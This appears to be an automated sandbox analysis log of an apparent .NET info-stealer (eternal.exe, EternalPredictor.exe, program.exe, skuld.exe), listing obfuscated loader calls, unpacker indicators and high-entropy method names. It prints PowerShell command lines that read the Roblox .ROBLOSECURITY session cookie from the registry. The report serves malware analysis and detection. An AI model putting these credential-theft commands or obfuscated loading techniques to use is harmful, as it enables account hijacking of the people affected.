Source: eternal.exe.0.dr, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{LSIheGR5jimET3JBt5sQs3uzkBQfaD2U2r8HNuqXo[2],z7GL3GcSz0bU9xxBylPHvbaUX8.aUh9qYlzTyllGrbrPVeJLz9A4o4sfJf9qsZ9CQe2zFJG296vAZakwP5nCJA(Convert.FromBase64String(LSIheGR5jimET3JBt5sQs3uzkBQfaD2U2r8HNuqXo[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.U2xZS9Ii0bNLwN14STRo7hwBRPZhfM0aicc7EKEBlrFHxeDFy,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.klGcTAcrhqPTSR6ORizJ2c7HcRMpsdc3i6nBTyBWta4vxEDVy,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.e1a4iS5m2cwY7Wz4tf9JJh8YkbpTv1LUNuS5AGzigkLRqkULl,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.zddVe2zadHhHeDck7teLRxIVYabLIJuFmKSkvkzjoYfQwS95L,z7GL3GcSz0bU9xxBylPHvbaUX8.BvRcOGTXZLhNVW8VvUiYmleWf3IvqmgfkWjeLSwSzGNWB3uGR2J9VQkAvHh()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{LSIheGR5jimET3JBt5sQs3uzkBQfaD2U2r8HNuqXo[2],z7GL3GcSz0bU9xxBylPHvbaUX8.aUh9qYlzTyllGrbrPVeJLz9A4o4sfJf9qsZ9CQe2zFJG296vAZakwP5nCJA(Convert.FromBase64String(LSIheGR5jimET3JBt5sQs3uzkBQfaD2U2r8HNuqXo[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.U2xZS9Ii0bNLwN14STRo7hwBRPZhfM0aicc7EKEBlrFHxeDFy,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.klGcTAcrhqPTSR6ORizJ2c7HcRMpsdc3i6nBTyBWta4vxEDVy,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.e1a4iS5m2cwY7Wz4tf9JJh8YkbpTv1LUNuS5AGzigkLRqkULl,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.zddVe2zadHhHeDck7teLRxIVYabLIJuFmKSkvkzjoYfQwS95L,z7GL3GcSz0bU9xxBylPHvbaUX8.BvRcOGTXZLhNVW8VvUiYmleWf3IvqmgfkWjeLSwSzGNWB3uGR2J9VQkAvHh()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{LSIheGR5jimET3JBt5sQs3uzkBQfaD2U2r8HNuqXo[2],z7GL3GcSz0bU9xxBylPHvbaUX8.aUh9qYlzTyllGrbrPVeJLz9A4o4sfJf9qsZ9CQe2zFJG296vAZakwP5nCJA(Convert.FromBase64String(LSIheGR5jimET3JBt5sQs3uzkBQfaD2U2r8HNuqXo[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: eternal.exe.0.dr, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: o4DruXGjL07o2HIFSRdU1PNswHXNNiP4YoTvKJjE1DPXeiunlYhlqIeliXadQH1QXJgcgn6jIzq13184TVW4yyI4fojGlGN86m3 System.AppDomain.Load(byte[])
Source: eternal.exe.0.dr, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: _2E6ai9TR6tMMsIluNA30k9trZCLJSDwrf8inyh3Qp System.AppDomain.Load(byte[])
Source: eternal.exe.0.dr, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: _2E6ai9TR6tMMsIluNA30k9trZCLJSDwrf8inyh3Qp
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: o4DruXGjL07o2HIFSRdU1PNswHXNNiP4YoTvKJjE1DPXeiunlYhlqIeliXadQH1QXJgcgn6jIzq13184TVW4yyI4fojGlGN86m3 System.AppDomain.Load(byte[])
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: _2E6ai9TR6tMMsIluNA30k9trZCLJSDwrf8inyh3Qp System.AppDomain.Load(byte[])
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: _2E6ai9TR6tMMsIluNA30k9trZCLJSDwrf8inyh3Qp
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: o4DruXGjL07o2HIFSRdU1PNswHXNNiP4YoTvKJjE1DPXeiunlYhlqIeliXadQH1QXJgcgn6jIzq13184TVW4yyI4fojGlGN86m3 System.AppDomain.Load(byte[])
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: _2E6ai9TR6tMMsIluNA30k9trZCLJSDwrf8inyh3Qp System.AppDomain.Load(byte[])
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: _2E6ai9TR6tMMsIluNA30k9trZCLJSDwrf8inyh3Qp

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 8_2_00007FFBA4220350 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

8_2_00007FFBA4220350

Source: program.exe.0.dr	Static PE information: real checksum: 0x7a2451 should be: 0x7a28dd
Source: eternal.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1db0f

Source: skuld.exe.0.dr	Static PE information: section name: .xdata
Source: skuld.exe.0.dr	Static PE information: section name: .symtab

Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A1324AD push E95E523Bh; retf	2_2_00007FFB4A132589
Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A132C0D push ecx; retf	2_2_00007FFB4A132C1C
Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A13243D push E95E523Bh; retf	2_2_00007FFB4A132589
Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A135E86 push cs; retf	2_2_00007FFB4A135E87
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4176008 push rsi; retf	8_2_00007FFBA417600B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4176058 push rbp; retf	8_2_00007FFBA417605B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4176038 push rbp; retf	8_2_00007FFBA4176043
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4176068 push rsp; retf	8_2_00007FFBA417606B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA417AC25 push rcx; ret	8_2_00007FFBA417AC62
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA60B4331 push rcx; ret	8_2_00007FFBA60B4332
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE0B0 push rsi; retf	8_2_00007FFBA66AE0BB
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE018 push rsi; retf	8_2_00007FFBA66AE04B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE010 push rsi; retf	8_2_00007FFBA66AE04B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE070 push rbp; retf	8_2_00007FFBA66AE073
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE060 push rsp; retf	8_2_00007FFBA66AE063
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE050 push rbp; retf	8_2_00007FFBA66AE053
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE048 push rbp; retf	8_2_00007FFBA66AE053
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE038 push rsi; retf	8_2_00007FFBA66AE04B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE030 push rsi; retf	8_2_00007FFBA66AE04B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE028 push rsi; retf	8_2_00007FFBA66AE04B
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4990A8 push rbp; retf	8_2_00007FFBAA4990C3
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4990C0 push rbp; retf	8_2_00007FFBAA4990C3
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA499068 push rbp; retf	8_2_00007FFBAA499073
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA499038 push rbp; retf	8_2_00007FFBAA499053
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA499058 push rsi; retf	8_2_00007FFBAA499063
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA499050 push rbp; retf	8_2_00007FFBAA499053
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA499040 push rsp; retf	8_2_00007FFBAA499043
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4C7010 push rsi; retf	8_2_00007FFBAA4C7013
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4C7070 push rsp; retf	8_2_00007FFBAA4C7073
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4C7060 push rbp; retf	8_2_00007FFBAA4C7063
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4C7038 push rbp; retf	8_2_00007FFBAA4C7043

Source: eternal.exe.0.dr, PNTkHhRdRADo9Htu8dbFVLGTwqCu2qbzjYH5zYlur5KxgSz1jQZuw8evWYvsSGwZnSHAYTXqL6hUBfvaIp2CoAMx26V.cs	High entropy of concatenated method names: '_0c5osAYdBH9XJ94w4zO6l972AlhrdGad0hqnAFgCFDwSXcziYUz2q1XXqL3Zde5p35YLYKckiT7zmCnBswlBhvyUlKO', 'zTL2B64wg2rWQWqASrnYspHnl0Z1Aumla4SUxs4D64pQI2WON1JnzP1oGkeyMwLMnb0f8QieLG4h', 'rkr0zO6T26LPtwV3U9c2u5xYBuctzMPqkJXb8TIBxlUKlPIg8rAaiHfjLP71Hzw255mMcNkH7LQq', 'Btv4maALwmARX', 'HJNgJkbLwyzIr', 'EHT5RPoBsAnvY', 'U5FhaAIW2Nj2K', '_7zTNkjNQ0QD3c', 'hQgK5oM9YmxrQ', 'LnSuQAe3DhXZ2'
Source: eternal.exe.0.dr, ehFF3g5JMWmvPBY7f8PHXvmxPU1QBWGhSW9HZi8z2cL2PB9AU.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'Ea65l0P6VLiuAGdcSTuvjZVcwJgbGY1253l4vMwdSVADH492dX4PnHlSS35V2YM5c6dN3ZqKdkec', 'kOmiM1AbuLNjuLBf89wLzzjhN1Q3cqGGQEB6xJwPBYbBFOr4CSGH78YstQzx2itJcGbuOsGxLZKK', 'xGK7vCJFSYRW1gcvS6EUjMnJRR8OBcSkO5EdL9avx0j551WfeEgaTLxv1eSH4wQTZWjFIcRo4bUj', 'ERiYjJBn6pFxsGNYLGgy8QzMDp73EOBHgudvczYH3MSATieVEHc6hvYTbAy3glIC6sE2LzEEvOMf'
Source: eternal.exe.0.dr, ZTVYtJFrmsQJQ9ljOwNBcyaFo9DitMyOY4oipU4ny.cs	High entropy of concatenated method names: 'NoCle4xZmufxswDeh5fhpTUgoSAb5eavmQrRgKskO', 'zZWCPg3bEKG534TZwNRhlqsIneV7P6FWDiwU', '_2yRRy4y5sBKarxi31GYBsSZgy2BbH10JSslb', 'f9J0BO2UoDn7uyJSkFmSMqD2U0CLAbQJIjKF', 'jF9RGodWK3s5qoVwiawclr9bGbBnIk6BZnQH'
Source: eternal.exe.0.dr, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	High entropy of concatenated method names: 'k06g0iCbZCrfysspSRMUJhlvYv79m1SSzswTsLBuX8Uz3rCOToqYxOxgf2zC01crRWspIvgXQ8oEiE7TM', '_7zpgzbS6PiDyDJENNtstPc6AcDWETdl9qa8VBBfjip0JV0wNKaiUYqCSDNhWBNrFA2q5hZsTYIrwXV9eo', 'efanD038HcFIAEn81JcePjTZcmuYEb18URcxTmSvOhAn2vjbQL2CvMLKx5U8ELzWTMGmNEUgxjPFbQEUH', 'S6TBniyDwO1QE4SgIJD32eq9ggNzFjSC7eVHzx0pqJHhS5zDr1NKfdFiZ950zBN5SCgKu9PCd5pNKgRd4', '_5NB66cSsdfZl1wYpuBTFxnfbtIFkKthngYBP7aJYPI8h0KaVs8ob5oRSiwXQ0WpBTp3oQYyd9hCBeebIi', '_8auKXwrMjrWK6GETcQFbdg3Vp79uUUIPDb9Sy4WFo66QIUaj0mFhsh0uP1EDWfjJPZhOohG04ClP6EwKU', 'eZLULBsWHjkkBfq6UUkYqvjdfep7gP0Jsax6nfq8yPBu0kvptOtgeoAB89ekjARl0orRbLzx8vIrJJNzz', 'Uqe2k6rcLSu5PX1j4tOqUiz3AsHedfpnumnQKYbU0ZFOajGepCrXgVlcsAJjGLiJ3YS24bwh0hfa1TXHx', 'fPrS3IoE8AU3qNIg9y0bwAv5b2OwoCgc90vr3Dv9sCQsynP59RPumSLyr7wt2Q86BBiUuUlWpbuS75vgr', '_1bidLvfGyo8kT6sraMlH8OWiBDlbh3JTvPbdsjQ5ks4b8uEikoXH93LqXuA3XXmZXSrsBs1I2EenFSSKB'
Source: eternal.exe.0.dr, 07Cdq7Slaf2T0jZczBuwyUXHac.cs	High entropy of concatenated method names: 'aNTMw6Lu16q3XeWHR1sR3PMWSc', '_85n0wGBYXzEAGGt4l8PGE0RDXu', 'CTQ4WASzc8s72DCU4qjXS0CXRl', 'Pc3Yhm8jNS8GFjGCj9zEGX6vS0', '_4SJw3T4IWGV1RB84xPDOcTwCH0BWzCDx7Cv9O75zcJBpdLzVGT2sJz', 'V7c4x1ZactwY6IDS1gx8EozmV7NQKodI3NEVUIzH9cdwub65IquqG5', 'tSoF4ErRLVczkRNY4oAHQYpg18er1hxx2JuiJvKNPus0RjONzUM9Ty', 'cReP19Usgw2ijL8SFqsFgwdEKNtvIYJq2VudLBTLJe7lL7ul2XGIKU', 'KrU1gipWTZPHUOXxkvD6LuPOmDsvj4AojcsA06vZMleEQghmaWD9sW15aZKDoJY72JOLWqRzXCo68c64eXudEf', 'w2J7OZ6KgMoKAlYfNB0Zamm0AZZpzVfIOcLbbErEWdfgG9fasIJXDTSSjeekkiQQ54pP4m3ld4E0FbrPz2HFkh'
Source: eternal.exe.0.dr, fHfgyTqtDDXlgFY83FcOCVN0lmCsgZzHJUE3KRMC6.cs	High entropy of concatenated method names: 'eZmacRaUJwyo2V4YVB3fpVPcLirYMs9NgnkwDjFGp', 'd85CNq0UL5V9VHkpmg49vGPNv2eivxNFlfn6SA8Wa', 'aaPTnTrt8Ym4okXALJ8ARVYV41jgbEBIV1xhS5jpX', 'TipMraploFbtSJXkrL2wl7mQA2', '_8kYnfx2Lev1BuxUf3rf6rrRChf', 'YZm91ip80fd4eMng8qFrdBzNCg', 'IVWmqzIBjqA6oT2vjG5RkSmRor', 'Pr3QotefBmeLPnEJGZAv75JZ0Z', 'UxwYolw5crzg8rmsMOEamrwCXu', 'Sy558Qu3s6mdrFllG7ujEwVbsF'
Source: eternal.exe.0.dr, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	High entropy of concatenated method names: 'rczOseSIc2vnwuEKIR8PkcLmQa', '_04nQsc5SubxMuXJO3AjPmX0xdl', 'hFjVWq8dAgGwLNBrQoIeKlZxVQ', 'HcqlO99QRe4SHd8BzMhTs7NGM5', 'l7FpTzsY57NomzQ8RfXN2HkWPh', 'PPwLymJlD5IyaA6OX8oJLKE2eo', 'j0lPXeA3krUBU4eIKwHZCHQo8t', 'JF3URgxYwq9OQvJS00u8hCO5H8vqmWwDRbmYItsSowCm6gCXAbEsZZZmIQL', 'nwctXyVSHKGY5OLwe9fqeakonwIxFSDgOXORZzO0z6k9imOZ8ltZE3IN43d', 'yRMsRhBMjHLebAC07aypKk8Xvd0Fr7wd5MRrNJbh59gRGeUCPCNh0DRN0FX'
Source: eternal.exe.0.dr, pwLyC8IGS9fWPw8AOOpq13VTDw.cs	High entropy of concatenated method names: 'q75ROLrqqHV6EmJDp91TOI4VmT', 'ZtBBrD6v9t5iKcxfvJFaw3H4IuoDdY5nuT9puJXpLcjL76IDfgCpHRRBmpJVtKBkLCrPDQOodEZjpRwSz7URN3', 'vfjRU45nEBY3auUaODMgdMoHtc4K9VQz4xOTtGT5Rs8N0nXwNGPIEGNdyM7MGhG3uPvvrFFxSVofALVPdeAZNJ', 'icSHmmvwaVgso4j8Hv3S4II3minVb10MWs5SQ63NpOLDYpHqrGopkznqOvYHFNLP1M4QnYgENy3C06mTgfD2bh', 'dpGjJ3p87EOacCY2vM0V24nVRlbrIREh0oXDjE2lWXatKNNzmuZcRV5SWjWaJ4VPQdH04vzaLiesjPJ7syopT7'
Source: eternal.exe.0.dr, YQhejhVgT0ttgMOLyMJxgFpqD9cch4ZRZCw8NY2M6T1GDPhoPLEM2UjD1FgvZhc5VommPhvhtQvJWFL27.cs	High entropy of concatenated method names: 'v2ZikujqPLr1n6uIoVRgCl1pTavRWrBtjGZIRMgHAOgEZQHb0xl2UCVnjLOjvu4tr2gJgE8b2IxKZqqDE', 'Te60wYfmJ74mvSBCHY9Q1NYDhkeXswsJzyOxyUzGodjeG1TZQE5uz4gUMoPwHqZv0IL8rkrclqK6sLhXa', 'lOttlYb7JhxgqWLTIpZwgApjN4IiY5lALQP1k3zDtevLeLQ0arZpIFqdSuNqZ8CtJBvaQamVZPkdJjEK1', 'HklCUKPtoD7xqi5SydpzGBxTnIL1tsIxMdr9pI26Q8FfUeLJE80eMifz2MCiXpMquyZr2BP9gg7FY6Swm', 'mBYQhshBfowyxxw0DF', 'v0fl2bSQlrkwGParpN', '_0oISgafl1pHFtQOk9c', 'VFkzUzAnj429d1yALh', 'cKM0CQlApexIk8yDHx', 'wHzUyYnhv4EPtZktOH'
Source: eternal.exe.0.dr, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	High entropy of concatenated method names: 'rWgDNtD9XClx2ePX1ClUNtaUKXAVpqLIPamcaShgPjX2GXhFnNddcug1dnCUVYeOGwlDB6awhp2LkVuNJqgnwhfzwZjoQTdYyJG', 'o4DruXGjL07o2HIFSRdU1PNswHXNNiP4YoTvKJjE1DPXeiunlYhlqIeliXadQH1QXJgcgn6jIzq13184TVW4yyI4fojGlGN86m3', '_15xvhav5CsVbhcaBatgprc9bhSzTJ2Uj711MIImyF1pfHIQjLdp07HnJ6Q9SOa16zKy7DsQpO2JWsPV7aDbHYdZ9PtIwNdYGFOd', 'ilP62xKpQqTx9U2gHfS6thNHObDbYplWekVrvTfo6xzmjbv8zdAIZrapg5YqVmvuy9ANsaQ0gu716iUEjF66cZiDs1qBN0Z8sFX', '_1L4pbsWDZhKfHZBBMpDwYw8KMuVu0BHVfRoCyfa35ApP31Z07D2DM4tFjH8jSVYQ9cOiCebiaAyTg20NpIeGtPKSRB8UwLiaqJT', '_0iQVfid5km9BaIMjdJ7jvr4wgk63gqvsqAq9Cv3kDD3NTRPAeUNHUqCLeRLZcYxPwS5AFnpc0guTCN7dVAqvD7i8KE5MAiBWpEC', 'F8JSf8qjcOEGjxHWRDmywmiPNV7vP3RrfeN2DwhBNngzTla9b4eZlM2atVYZ5NqxOn9LEJk8fYy3AAZa8cNBZf5CRMGD8l0dYIO', 'WWdZkn7NhLGtutIFzAPRtfYm50evObQXhtDpar21v', 'twLqMQQuRzHiNTomU0HgBk9BDJiIXnidwc25S9R7S', 'jYqvBynZ9drCFVMYmQPpIj8VpTcr4G6PjM7ybOXXz'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, PNTkHhRdRADo9Htu8dbFVLGTwqCu2qbzjYH5zYlur5KxgSz1jQZuw8evWYvsSGwZnSHAYTXqL6hUBfvaIp2CoAMx26V.cs	High entropy of concatenated method names: '_0c5osAYdBH9XJ94w4zO6l972AlhrdGad0hqnAFgCFDwSXcziYUz2q1XXqL3Zde5p35YLYKckiT7zmCnBswlBhvyUlKO', 'zTL2B64wg2rWQWqASrnYspHnl0Z1Aumla4SUxs4D64pQI2WON1JnzP1oGkeyMwLMnb0f8QieLG4h', 'rkr0zO6T26LPtwV3U9c2u5xYBuctzMPqkJXb8TIBxlUKlPIg8rAaiHfjLP71Hzw255mMcNkH7LQq', 'Btv4maALwmARX', 'HJNgJkbLwyzIr', 'EHT5RPoBsAnvY', 'U5FhaAIW2Nj2K', '_7zTNkjNQ0QD3c', 'hQgK5oM9YmxrQ', 'LnSuQAe3DhXZ2'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, ehFF3g5JMWmvPBY7f8PHXvmxPU1QBWGhSW9HZi8z2cL2PB9AU.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'Ea65l0P6VLiuAGdcSTuvjZVcwJgbGY1253l4vMwdSVADH492dX4PnHlSS35V2YM5c6dN3ZqKdkec', 'kOmiM1AbuLNjuLBf89wLzzjhN1Q3cqGGQEB6xJwPBYbBFOr4CSGH78YstQzx2itJcGbuOsGxLZKK', 'xGK7vCJFSYRW1gcvS6EUjMnJRR8OBcSkO5EdL9avx0j551WfeEgaTLxv1eSH4wQTZWjFIcRo4bUj', 'ERiYjJBn6pFxsGNYLGgy8QzMDp73EOBHgudvczYH3MSATieVEHc6hvYTbAy3glIC6sE2LzEEvOMf'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, ZTVYtJFrmsQJQ9ljOwNBcyaFo9DitMyOY4oipU4ny.cs	High entropy of concatenated method names: 'NoCle4xZmufxswDeh5fhpTUgoSAb5eavmQrRgKskO', 'zZWCPg3bEKG534TZwNRhlqsIneV7P6FWDiwU', '_2yRRy4y5sBKarxi31GYBsSZgy2BbH10JSslb', 'f9J0BO2UoDn7uyJSkFmSMqD2U0CLAbQJIjKF', 'jF9RGodWK3s5qoVwiawclr9bGbBnIk6BZnQH'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	High entropy of concatenated method names: 'k06g0iCbZCrfysspSRMUJhlvYv79m1SSzswTsLBuX8Uz3rCOToqYxOxgf2zC01crRWspIvgXQ8oEiE7TM', '_7zpgzbS6PiDyDJENNtstPc6AcDWETdl9qa8VBBfjip0JV0wNKaiUYqCSDNhWBNrFA2q5hZsTYIrwXV9eo', 'efanD038HcFIAEn81JcePjTZcmuYEb18URcxTmSvOhAn2vjbQL2CvMLKx5U8ELzWTMGmNEUgxjPFbQEUH', 'S6TBniyDwO1QE4SgIJD32eq9ggNzFjSC7eVHzx0pqJHhS5zDr1NKfdFiZ950zBN5SCgKu9PCd5pNKgRd4', '_5NB66cSsdfZl1wYpuBTFxnfbtIFkKthngYBP7aJYPI8h0KaVs8ob5oRSiwXQ0WpBTp3oQYyd9hCBeebIi', '_8auKXwrMjrWK6GETcQFbdg3Vp79uUUIPDb9Sy4WFo66QIUaj0mFhsh0uP1EDWfjJPZhOohG04ClP6EwKU', 'eZLULBsWHjkkBfq6UUkYqvjdfep7gP0Jsax6nfq8yPBu0kvptOtgeoAB89ekjARl0orRbLzx8vIrJJNzz', 'Uqe2k6rcLSu5PX1j4tOqUiz3AsHedfpnumnQKYbU0ZFOajGepCrXgVlcsAJjGLiJ3YS24bwh0hfa1TXHx', 